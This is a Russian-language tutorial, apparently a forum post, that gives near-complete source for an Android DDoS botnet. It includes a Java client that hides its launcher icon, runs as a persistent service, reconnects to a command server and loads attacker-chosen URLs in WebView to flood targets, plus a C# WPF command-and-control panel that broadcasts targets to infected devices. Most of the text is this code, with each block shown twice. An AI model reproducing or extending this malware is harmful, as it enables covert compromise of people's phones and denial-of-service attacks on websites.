Всем привет Давно планировал написать эту статью, но времени из-за других моих проектов не было. Сейчас освободился и, наконец, решил написать статью о DDoS Botnet на Android. Для начала объясню, что такое DDoS Botnet в принципе, хотя не думаю, что это нуждается в объяснении, но в любом случае для статьи это нужно: DDoS-Botnet — это сеть заражённых устройств, управляемая злоумышленником для проведения распределённых атак типа отказа в обслуживании (DDoS — Distributed Denial of Service). В такой сети каждый заражённый компьютер (или любое другое устройство, например, смартфон под управлением Android, как в нашем случае) становится частью ботнета и получает команды от сервера, получая адреса целей для атаки. Мы будем делать не какой-то обычный HTTP Flood, работающий через запросы, а полноценную загрузку веб-ресурса, в нашем случае через WebView. Также я добавлю ещё один метод DDoS исключительно для примера — например, возьму ping, он самый простой в реализации, но и граничит с бесполезным. В любом случае это не важно, так как он будет добавлен как практический пример. В последствии заменить его на другие методы не будет проблемой для вас, если вы будете использовать код из статьи. Для написания серверной части я буду использовать C# (.NET 4.8) и WPF разметку (Windows Presentation Foundation). Для написания клиентской части буду использовать Java (A) и Groovy DSL (build.gradle) с минимальным API 28 (A9). Начну с кода Android клиента на Java. Для начала нам нужно определить разрешения в AndroidManifest.xml: <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" /> JS <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" /> Также, если вы хотите, чтобы иконка вашего приложения не была видна, добавьте в Activity внутри AndroidManifest.xml следующее: <category android:name="android.intent.category.LEANBACK_LAUNCHER" /> JS <category android:name="android.intent.category.LEANBACK_LAUNCHER" /> Так как в MainActivity.java у нас ничего не будет, кроме запуска нашего FOREGROUND_SERVICE, то его код будет выглядеть так: package com.nmz.DDoSBTest; import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent serviceIntent = new Intent(MainActivity.this, BackgroundWVService.class); //Запуск нашего сервиса до которого мы еще дойдем startService(serviceIntent); } } JS package com.nmz.DDoSBTest; import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent serviceIntent = new Intent(MainActivity.this, BackgroundWVService.class); //Запуск нашего сервиса до которого мы еще дойдем startService(serviceIntent); } } Ничего, кроме запуска сервиса, не происходит, но переходить я бы хотел не сразу к нему, а немного рассказать о том, как будет загружаться наша страница через WebView. Для этого в коде есть WebViewService.java, который имеет задачу загрузить страницу и в ADB отобразить информацию о ней вкратце. Код WebViewService.java: private WebView webView; @Override public void onCreate() { super.onCreate(); webView = new WebView(this); webView.setWebViewClient(new CustomWebViewClient()); webView.getSettings().setJavaScriptEnabled(true); } @Override public int onStartCommand(Intent intent, int flags, int startId) { String url = intent.getStringExtra("url"); if (url != null) { if (!isValidUrl(url)) { url = "http://" + url; } Log.d(TAG, "Loading URL/IP in WebView: " + url); webView.loadUrl(url); } else { Log.e(TAG, "No URL/IP received"); } return START_NOT_STICKY; } @Override public void onDestroy() { if (webView != null) { webView.destroy(); } super.onDestroy(); } @Override public IBinder onBind(Intent intent) { return null; } private boolean isValidUrl(String url) { return url.startsWith("http://") || url.startsWith("https://"); } private class CustomWebViewClient extends WebViewClient { @Override public void onPageStarted(WebView view, String url, android.graphics.Bitmap favicon) { super.onPageStarted(view, url, favicon); Log.d(TAG, "Page loading: " + url); } @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); Log.d(TAG, "Page finished loading: " + url); String title = view.getTitle(); Log.d(TAG, "Page title: " + title); } @Override public void onReceivedHttpError(WebView view, WebResourceRequest request, android.webkit.WebResourceResponse errorResponse) { super.onReceivedHttpError(view, request, errorResponse); Log.e(TAG, "HTTP error for URL/IP: " + request.getUrl() + " Error code: " + errorResponse.getStatusCode()); } @Override public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { super.onReceivedError(view, errorCode, description, failingUrl); Log.e(TAG, "Error loading URL/IP: " + failingUrl + " Error code: " + errorCode + " Description: " + description); } } } JS private WebView webView; @Override public void onCreate() { super.onCreate(); webView = new WebView(this); webView.setWebViewClient(new CustomWebViewClient()); webView.getSettings().setJavaScriptEnabled(true); } @Override public int onStartCommand(Intent intent, int flags, int startId) { String url = intent.getStringExtra("url"); if (url != null) { if (!isValidUrl(url)) { url = "http://" + url; } Log.d(TAG, "Loading URL/IP in WebView: " + url); webView.loadUrl(url); } else { Log.e(TAG, "No URL/IP received"); } return START_NOT_STICKY; } @Override public void onDestroy() { if (webView != null) { webView.destroy(); } super.onDestroy(); } @Override public IBinder onBind(Intent intent) { return null; } private boolean isValidUrl(String url) { return url.startsWith("http://") || url.startsWith("https://"); } private class CustomWebViewClient extends WebViewClient { @Override public void onPageStarted(WebView view, String url, android.graphics.Bitmap favicon) { super.onPageStarted(view, url, favicon); Log.d(TAG, "Page loading: " + url); } @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); Log.d(TAG, "Page finished loading: " + url); String title = view.getTitle(); Log.d(TAG, "Page title: " + title); } @Override public void onReceivedHttpError(WebView view, WebResourceRequest request, android.webkit.WebResourceResponse errorResponse) { super.onReceivedHttpError(view, request, errorResponse); Log.e(TAG, "HTTP error for URL/IP: " + request.getUrl() + " Error code: " + errorResponse.getStatusCode()); } @Override public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { super.onReceivedError(view, errorCode, description, failingUrl); Log.e(TAG, "Error loading URL/IP: " + failingUrl + " Error code: " + errorCode + " Description: " + description); } } } Код загружает веб страницу в WebView и отображает краткое содержимое о ней. Теперь хотелось бы отметить код AttackerReceiverURLIP.java, который получает IP или URL сайта, затем проверяет его на валидность, и если получает IP без заголовка HTTP/HTPPS , то добавляет его и отправляет дальше в WebViewService.java. Код AttackerReceiverURLIP.java: public class AttackerReceiverURLIP extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String url = intent.getStringExtra("url"); Log.d("UrlReceiver", "Received URL: " + url); if (url != null) { // Проверка и добавление префикса например если передан ip ну и проверочка if (!url.startsWith("http://") && !url.startsWith("https://")) { url = "https://" + url; } if (isValidUrl(url)) { Intent serviceIntent = new Intent(context, WebViewService.class); serviceIntent.putExtra("url", url); context.startService(serviceIntent); } else { Log.e("UrlReceiver", "Invalid URL received: " + url); } } } private boolean isValidUrl(String url) { return url != null && (url.startsWith("http://") || url.startsWith("https://")); } } JS public class AttackerReceiverURLIP extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String url = intent.getStringExtra("url"); Log.d("UrlReceiver", "Received URL: " + url); if (url != null) { // Проверка и добавление префикса например если передан ip ну и проверочка if (!url.startsWith("http://") && !url.startsWith("https://")) { url = "https://" + url; } if (isValidUrl(url)) { Intent serviceIntent = new Intent(context, WebViewService.class); serviceIntent.putExtra("url", url); context.startService(serviceIntent); } else { Log.e("UrlReceiver", "Invalid URL received: " + url); } } } private boolean isValidUrl(String url) { return url != null && (url.startsWith("http://") || url.startsWith("https://")); } } Теперь стоит перейти к последнему сервису на стороне клиента — это BackgroundWVService.java, и вот, соответственно, его код: private static final String CHANNEL_ID = "DDoSForegroundServiceChannel"; private Handler ReconnectServerHandler = new Handler(Looper.getMainLooper()); private boolean isConnected = false; private Socket clientSocket; private BufferedReader input; private OutputStream output; @Override public void onCreate() { //инициализации в onCreate super.onCreate(); createNotificationChannel(); startForegroundService(); connectToServer(); } private void createNotificationChannel() { //13,14D требуют подобных извращений. if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { CharSequence name = "Foreground Service"; String description = "Channel"; int importance = NotificationManager.IMPORTANCE_DEFAULT; NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance); channel.setDescription(description); NotificationManager notificationManager = getSystemService(NotificationManager.class); notificationManager.createNotificationChannel(channel); } } private void startForegroundService() { Intent notificationIntent = new Intent(this, MainActivity.class); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE); Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Foreground Service") .setContentText("Service is running in the background") .setSmallIcon(R.mipmap.ic_launcher) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); } @Override public int onStartCommand(Intent intent, int flags, int startId) { return START_STICKY; } private void connectToServer() { new ConnectToServerTask().execute("127.0.0.1", "6666");//ip:p сервера } private class ConnectToServerTask extends AsyncTask<String, Void, Boolean> { private String serverIp; private int serverPort; @Override protected Boolean doInBackground(String... params) { serverIp = params[0]; serverPort = Integer.parseInt(params[1]); while (!isConnected) { try { clientSocket = new Socket(serverIp, serverPort); input = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); output = clientSocket.getOutputStream(); isConnected = true; new ReceiveMessagesTask().start(); } catch (Exception e) { Log.e("ConnectToServerTask", "Error connecting to server, retrying in 5 seconds", e); try { Thread.sleep(5000); } catch (InterruptedException ie) { Log.e("ConnectToServerTask", "Interrupted during reconnection delay", ie); } } } return false; } @Override protected void onPostExecute(Boolean result) { if (result) { Toast.makeText(getApplicationContext(), "Connected to the server", Toast.LENGTH_SHORT).show(); } else { startReconnection(); } } } private void startReconnection() { ReconnectServerHandler.postDelayed(() -> { if (!isConnected) { Log.d("Reconnection", "Attempting to reconnect..."); connectToServer(); } }, 5000); } private class SendMessageTask extends AsyncTask<String, Void, Void> { private static final int CHUNK_SIZE = 1024; private static final long DELAY_MS = 500; @Override protected Void doInBackground(String... messages) { try { if (isConnected && output != null) { for (String message : messages) { byte[] messageBytes = message.getBytes(); int length = messageBytes.length; for (int i = 0; i < length; i += CHUNK_SIZE) { int end = Math.min(length, i + CHUNK_SIZE); output.write(messageBytes, i, end - i); output.flush(); Thread.sleep(DELAY_MS); } } } } catch (Exception e) { Log.e("SendMessageTask", "Error sending message", e); } return null; } } private class ReceiveMessagesTask extends Thread { private final Handler uiHandler = new Handler(Looper.getMainLooper()); @Override public void run() { try { while (isConnected) { String message = input.readLine(); if (message != null) { if (isValidUrl(message)) { handleUrl(message); } else { uiHandler.post(() -> Toast.makeText(getApplicationContext(), "msg s: " + message, Toast.LENGTH_LONG).show()); } } } } catch (Exception e) { Log.e("ReceiveMessagesTask", "Connection lost, attempting to reconnect", e); isConnected = false; startReconnection(); } } } private void handleUrl(String url) { //Добавление http чтобы если например человек передал ip то мы перешли по нему как и по ссылке if (!url.startsWith("http://") && !url.startsWith("https://")) { url = "https://" + url; } Intent intent = new Intent(BackgroundWVService.this, WebViewService.class); intent.putExtra("url", url); startService(intent); } private boolean isValidUrl(String url) { try { Uri uri = Uri.parse(url); return uri.getScheme() != null && (uri.getScheme().equals("http") || uri.getScheme().equals("https")); } catch (Exception e) { return false; } } @Override public void onDestroy() { super.onDestroy(); try { isConnected = false; if (clientSocket != null) { clientSocket.close(); } } catch (Exception e) { Log.e("onDestroy", "Error closing socket", e); } } @Override public IBinder onBind(Intent intent) { return null; } } JS private static final String CHANNEL_ID = "DDoSForegroundServiceChannel"; private Handler ReconnectServerHandler = new Handler(Looper.getMainLooper()); private boolean isConnected = false; private Socket clientSocket; private BufferedReader input; private OutputStream output; @Override public void onCreate() { //инициализации в onCreate super.onCreate(); createNotificationChannel(); startForegroundService(); connectToServer(); } private void createNotificationChannel() { //13,14D требуют подобных извращений. if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { CharSequence name = "Foreground Service"; String description = "Channel"; int importance = NotificationManager.IMPORTANCE_DEFAULT; NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance); channel.setDescription(description); NotificationManager notificationManager = getSystemService(NotificationManager.class); notificationManager.createNotificationChannel(channel); } } private void startForegroundService() { Intent notificationIntent = new Intent(this, MainActivity.class); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE); Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Foreground Service") .setContentText("Service is running in the background") .setSmallIcon(R.mipmap.ic_launcher) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); } @Override public int onStartCommand(Intent intent, int flags, int startId) { return START_STICKY; } private void connectToServer() { new ConnectToServerTask().execute("127.0.0.1", "6666");//ip:p сервера } private class ConnectToServerTask extends AsyncTask<String, Void, Boolean> { private String serverIp; private int serverPort; @Override protected Boolean doInBackground(String... params) { serverIp = params[0]; serverPort = Integer.parseInt(params[1]); while (!isConnected) { try { clientSocket = new Socket(serverIp, serverPort); input = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); output = clientSocket.getOutputStream(); isConnected = true; new ReceiveMessagesTask().start(); } catch (Exception e) { Log.e("ConnectToServerTask", "Error connecting to server, retrying in 5 seconds", e); try { Thread.sleep(5000); } catch (InterruptedException ie) { Log.e("ConnectToServerTask", "Interrupted during reconnection delay", ie); } } } return false; } @Override protected void onPostExecute(Boolean result) { if (result) { Toast.makeText(getApplicationContext(), "Connected to the server", Toast.LENGTH_SHORT).show(); } else { startReconnection(); } } } private void startReconnection() { ReconnectServerHandler.postDelayed(() -> { if (!isConnected) { Log.d("Reconnection", "Attempting to reconnect..."); connectToServer(); } }, 5000); } private class SendMessageTask extends AsyncTask<String, Void, Void> { private static final int CHUNK_SIZE = 1024; private static final long DELAY_MS = 500; @Override protected Void doInBackground(String... messages) { try { if (isConnected && output != null) { for (String message : messages) { byte[] messageBytes = message.getBytes(); int length = messageBytes.length; for (int i = 0; i < length; i += CHUNK_SIZE) { int end = Math.min(length, i + CHUNK_SIZE); output.write(messageBytes, i, end - i); output.flush(); Thread.sleep(DELAY_MS); } } } } catch (Exception e) { Log.e("SendMessageTask", "Error sending message", e); } return null; } } private class ReceiveMessagesTask extends Thread { private final Handler uiHandler = new Handler(Looper.getMainLooper()); @Override public void run() { try { while (isConnected) { String message = input.readLine(); if (message != null) { if (isValidUrl(message)) { handleUrl(message); } else { uiHandler.post(() -> Toast.makeText(getApplicationContext(), "msg s: " + message, Toast.LENGTH_LONG).show()); } } } } catch (Exception e) { Log.e("ReceiveMessagesTask", "Connection lost, attempting to reconnect", e); isConnected = false; startReconnection(); } } } private void handleUrl(String url) { //Добавление http чтобы если например человек передал ip то мы перешли по нему как и по ссылке if (!url.startsWith("http://") && !url.startsWith("https://")) { url = "https://" + url; } Intent intent = new Intent(BackgroundWVService.this, WebViewService.class); intent.putExtra("url", url); startService(intent); } private boolean isValidUrl(String url) { try { Uri uri = Uri.parse(url); return uri.getScheme() != null && (uri.getScheme().equals("http") || uri.getScheme().equals("https")); } catch (Exception e) { return false; } } @Override public void onDestroy() { super.onDestroy(); try { isConnected = false; if (clientSocket != null) { clientSocket.close(); } } catch (Exception e) { Log.e("onDestroy", "Error closing socket", e); } } @Override public IBinder onBind(Intent intent) { return null; } } На этом код клиента закончен. Я не стал описывать некоторые и так понятные моменты, как, например, весь код Manifest или отправку конкретных данных на сервер, таких как версия Android или модель устройства, хотя вы можете легко их получить и по желанию отправить на сервер. AndroidVersion = "Android Version: " + Build.VERSION.RELEASE; SDeviceModel = "Device Model: " + Build.MODEL; JS AndroidVersion = "Android Version: " + Build.VERSION.RELEASE; SDeviceModel = "Device Model: " + Build.MODEL; Теперь, когда с кодом клиента всё более-менее понятно и что происходит на его стороне, можно приступить к коду сервера. На серверной стороне не будет билдера или каких-то наворотов — исключительно функционал отправки данных на сервер и принятия ответов от клиента. Код DDoServer: public partial class MainWindow : Window { private ObservableCollection<ClientInfo> _clients; private TcpListener _server; private Thread _serverThread; private Thread _monitorThread; private int _serverPort = 4444; //стандартный порт прослушивания private Dictionary<string, string> _clientMessages; private volatile bool _isServerRunning; private ConcurrentDictionary<string, TcpClient> _connectedClients; public MainWindow() { InitializeComponent(); _clients = new ObservableCollection<ClientInfo>(); //Инициализации clientsview.ItemsSource = _clients; _clientMessages = new Dictionary<string, string>(); _connectedClients = new ConcurrentDictionary<string, TcpClient>(); } CSHARP public partial class MainWindow : Window { private ObservableCollection<ClientInfo> _clients; private TcpListener _server; private Thread _serverThread; private Thread _monitorThread; private int _serverPort = 4444; //стандартный порт прослушивания private Dictionary<string, string> _clientMessages; private volatile bool _isServerRunning; private ConcurrentDictionary<string, TcpClient> _connectedClients; public MainWindow() { InitializeComponent(); _clients = new ObservableCollection<ClientInfo>(); //Инициализации clientsview.ItemsSource = _clients; _clientMessages = new Dictionary<string, string>(); _connectedClients = new ConcurrentDictionary<string, TcpClient>(); } Обработчик StartServer: if (_serverThread != null && _serverThread.IsAlive) { MessageBox.Show("Server is already running."); return; } if (!int.TryParse(portTextBox.Text, out _serverPort)) { MessageBox.Show("Invalid port number. Please enter a valid number."); return; } _serverThread = new Thread(StartServer); _serverThread.IsBackground = true; _serverThread.Start(); _monitorThread = new Thread(MonitorClients); _monitorThread.IsBackground = true; _monitorThread.Start(); } CSHARP if (_serverThread != null && _serverThread.IsAlive) { MessageBox.Show("Server is already running."); return; } if (!int.TryParse(portTextBox.Text, out _serverPort)) { MessageBox.Show("Invalid port number. Please enter a valid number."); return; } _serverThread = new Thread(StartServer); _serverThread.IsBackground = true; _serverThread.Start(); _monitorThread = new Thread(MonitorClients); _monitorThread.IsBackground = true; _monitorThread.Start(); } Методы / остальное: private void StartServer() { try { _server = new TcpListener(IPAddress.Any, _serverPort); _server.Start(); _isServerRunning = true; Dispatcher.Invoke(() => MessageBox.Show($"Server started on port {_serverPort}")); while (_isServerRunning) { if (_server.Pending()) { TcpClient client = _server.AcceptTcpClient(); IPEndPoint clientEndPoint = client.Client.RemoteEndPoint as IPEndPoint; if (clientEndPoint != null) { string clientIp = clientEndPoint.Address.ToString(); if (_connectedClients.ContainsKey(clientIp)) { if (_connectedClients.TryRemove(clientIp, out TcpClient oldClient)) { oldClient.Close(); } } if (_connectedClients.TryAdd(clientIp, client)) { Dispatcher.Invoke(() => { var existingClient = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (existingClient == null) { _clients.Add(new ClientInfo { IPAddress = clientIp, TcpClient = client }); } else { existingClient.TcpClient = client; } MessageBox.Show($"New client connected: {clientIp}"); }); } Thread clientThread = new Thread(() => HandleClient(client, clientIp)); clientThread.IsBackground = true; clientThread.Start(); } } else { Thread.Sleep(100); } } } catch (SocketException ex) { if (ex.SocketErrorCode != SocketError.Interrupted) { Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}")); } } catch (Exception ex) { Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}")); } } private void HandleClient(TcpClient client, string clientIp) { try { NetworkStream stream = client.GetStream(); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) { string message = Encoding.UTF8.GetString(buffer, 0, bytesRead); lock (_clientMessages) { _clientMessages[clientIp] = message; } SaveMessageToFile(clientIp, message); var lines = message.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries); Dispatcher.Invoke(() => { foreach (var line in lines) { if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text += line + Environment.NewLine; } } }); } } catch (Exception ex) { Console.WriteLine($"Client error: {ex.Message}"); } finally { Dispatcher.Invoke(() => { try { lock (_clients) { var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (clientInfo != null) { _clients.Remove(clientInfo); } } lock (_clientMessages) { if (_clientMessages.ContainsKey(clientIp)) { _clientMessages.Remove(clientIp); } } if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text = string.Empty; } } catch (Exception uiEx) { Console.WriteLine($"UI error: {uiEx.Message}"); } }); try { client.Close(); } catch (Exception ex) { Console.WriteLine($"Error closing client connection: {ex.Message}"); } } } private void MonitorClients() { while (_isServerRunning) { foreach (var kvp in _connectedClients.ToList()) { string clientIp = kvp.Key; TcpClient client = kvp.Value; try { if (client.Client.Poll(0, SelectMode.SelectRead)) { byte[] check = new byte[1]; if (client.Client.Receive(check, SocketFlags.Peek) == 0) { Dispatcher.Invoke(() => { var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (clientInfo != null) { _clients.Remove(clientInfo); } lock (_clientMessages) { if (_clientMessages.ContainsKey(clientIp)) { _clientMessages.Remove(clientIp); } } if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text = string.Empty; } }); _connectedClients.TryRemove(clientIp, out _); client.Close(); } } } catch (Exception ex) { Console.WriteLine($"Error monitoring client {clientIp}: {ex.Message}"); } } Thread.Sleep(5000); } } private void StopServer() { try { _isServerRunning = false; _server?.Stop(); foreach (var clientInfo in _clients.ToList()) { if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected) { clientInfo.TcpClient.Close(); } } _serverThread?.Join(); _monitorThread?.Join(); Dispatcher.Invoke(() => MessageBox.Show("Server stopped successfully.")); } catch (Exception ex) { Dispatcher.Invoke(() => MessageBox.Show($"Error stopping server: {ex.Message}")); } } CSHARP private void StartServer() { try { _server = new TcpListener(IPAddress.Any, _serverPort); _server.Start(); _isServerRunning = true; Dispatcher.Invoke(() => MessageBox.Show($"Server started on port {_serverPort}")); while (_isServerRunning) { if (_server.Pending()) { TcpClient client = _server.AcceptTcpClient(); IPEndPoint clientEndPoint = client.Client.RemoteEndPoint as IPEndPoint; if (clientEndPoint != null) { string clientIp = clientEndPoint.Address.ToString(); if (_connectedClients.ContainsKey(clientIp)) { if (_connectedClients.TryRemove(clientIp, out TcpClient oldClient)) { oldClient.Close(); } } if (_connectedClients.TryAdd(clientIp, client)) { Dispatcher.Invoke(() => { var existingClient = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (existingClient == null) { _clients.Add(new ClientInfo { IPAddress = clientIp, TcpClient = client }); } else { existingClient.TcpClient = client; } MessageBox.Show($"New client connected: {clientIp}"); }); } Thread clientThread = new Thread(() => HandleClient(client, clientIp)); clientThread.IsBackground = true; clientThread.Start(); } } else { Thread.Sleep(100); } } } catch (SocketException ex) { if (ex.SocketErrorCode != SocketError.Interrupted) { Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}")); } } catch (Exception ex) { Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}")); } } private void HandleClient(TcpClient client, string clientIp) { try { NetworkStream stream = client.GetStream(); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) { string message = Encoding.UTF8.GetString(buffer, 0, bytesRead); lock (_clientMessages) { _clientMessages[clientIp] = message; } SaveMessageToFile(clientIp, message); var lines = message.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries); Dispatcher.Invoke(() => { foreach (var line in lines) { if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text += line + Environment.NewLine; } } }); } } catch (Exception ex) { Console.WriteLine($"Client error: {ex.Message}"); } finally { Dispatcher.Invoke(() => { try { lock (_clients) { var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (clientInfo != null) { _clients.Remove(clientInfo); } } lock (_clientMessages) { if (_clientMessages.ContainsKey(clientIp)) { _clientMessages.Remove(clientIp); } } if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text = string.Empty; } } catch (Exception uiEx) { Console.WriteLine($"UI error: {uiEx.Message}"); } }); try { client.Close(); } catch (Exception ex) { Console.WriteLine($"Error closing client connection: {ex.Message}"); } } } private void MonitorClients() { while (_isServerRunning) { foreach (var kvp in _connectedClients.ToList()) { string clientIp = kvp.Key; TcpClient client = kvp.Value; try { if (client.Client.Poll(0, SelectMode.SelectRead)) { byte[] check = new byte[1]; if (client.Client.Receive(check, SocketFlags.Peek) == 0) { Dispatcher.Invoke(() => { var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (clientInfo != null) { _clients.Remove(clientInfo); } lock (_clientMessages) { if (_clientMessages.ContainsKey(clientIp)) { _clientMessages.Remove(clientIp); } } if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text = string.Empty; } }); _connectedClients.TryRemove(clientIp, out _); client.Close(); } } } catch (Exception ex) { Console.WriteLine($"Error monitoring client {clientIp}: {ex.Message}"); } } Thread.Sleep(5000); } } private void StopServer() { try { _isServerRunning = false; _server?.Stop(); foreach (var clientInfo in _clients.ToList()) { if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected) { clientInfo.TcpClient.Close(); } } _serverThread?.Join(); _monitorThread?.Join(); Dispatcher.Invoke(() => MessageBox.Show("Server stopped successfully.")); } catch (Exception ex) { Dispatcher.Invoke(() => MessageBox.Show($"Error stopping server: {ex.Message}")); } } Ну и под конец — код отправки информации на клиента: [CODE=csharp]string link = DDoSTx.Text; if (!string.IsNullOrWhiteSpace(link)) { SendMessageToAllClients(link); } else { MessageBox.Show("Write Link."); } --- foreach (var clientInfo in _clients.ToList()) { if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected) { try { NetworkStream stream = clientInfo.TcpClient.GetStream(); byte[] buffer = Encoding.UTF8.GetBytes(message + "\n"); stream.Write(buffer, 0, buffer.Length); stream.Flush();[/CODE] Также добавил код, который отправляет задачу на одного выбранного клиента из списка IP: [CODE=csharp] if (clientsview.SelectedItem is ClientInfo selectedClient) { string clientIp = selectedClient.IPAddress; if (_clientMessages.ContainsKey(clientIp)) { string link = DDoSTx.Text; if (!string.IsNullOrWhiteSpace(link)) { SendLinkToClient(clientIp, link); } else { MessageBox.Show("Write Link/Ip."); } } else { MessageBox.Show("Client not found."); } } else { MessageBox.Show("Select a client from the list of IP."); } } [/CODE] И метод для этого дела: [CODE=csharp]private void clientsview_SelectionChanged(object sender, SelectionChangedEventArgs e) { if (clientsview.SelectedItem is ClientInfo selectedClient) { if (_clientMessages.ContainsKey(selectedClient.IPAddress)) { packetText.Text = _clientMessages[selectedClient.IPAddress]; }[/CODE] GUI панели сервера, написанной на WPF (Windows Presentation Foundation) (более новая версия, чем описана в статье), включает в себя разметку и дизайн, которые не были описаны в статье. В статье был представлен исключительно код без разметки и дизайна. Хочу подметить, что использовать такое можно только для веб-ресурсов в связи с логикой работы через WebView, но вы можете добавить свой код для других нужных вам методов атак. Благодарю за внимание! Если есть какие-то вопросы или дополнения, буду рад обсудить. Всех благ !